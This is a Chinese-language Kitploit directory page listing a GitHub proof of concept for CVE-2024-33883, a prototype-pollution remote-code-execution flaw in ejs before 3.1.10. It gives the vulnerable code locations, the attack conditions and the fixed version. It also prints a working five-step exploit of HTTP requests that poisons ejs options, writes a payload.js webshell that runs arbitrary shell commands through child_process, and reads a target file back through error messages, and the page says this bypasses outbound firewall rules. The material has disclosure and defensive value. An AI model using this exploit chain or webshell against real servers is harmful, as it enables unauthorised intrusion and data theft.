Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC-CVE-2024-33883 — CVE-2024-33883 的 PoC,ejs 的 RCE 漏洞。 | Kitploit
工具/GitHubGitHub/grantzile/poc-cve-2024-33883
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubgrantzile/poc-cve-2024-33883

PoC-CVE-2024-33883

CVE-2024-33883 的 PoC,ejs 的 RCE 漏洞。

查看仓库
522年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-33883

[email protected],原型污染验证不足导致RCE利用

  • 利用原型污染,将opts.client设置为真值(条件)
  • 然后,当render()运行时,ejs会将opts.escapeFunction的值作为JS代码执行。

漏洞代码范围

基于[email protected]

1. ejs/lib/ejs.js - line 580, 636, 637

PoC(注入webshell并激活)

root@kitploit:~
1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell
  • 上述PoC可以绕过ufw防火墙的出站数据包丢弃。

  • 所有低于3.1.10的版本都容易受到此类攻击。

  • 这是RCE漏洞,请勿在生产服务器上滥用。

攻击可用条件

  1. 需要控制render()。
  2. 需要控制原型污染攻击向量。
  • 满足上述两个条件,即可实现RCE攻击。

如何防御此攻击?

  • 修复版本([email protected])现已可用。
下载工具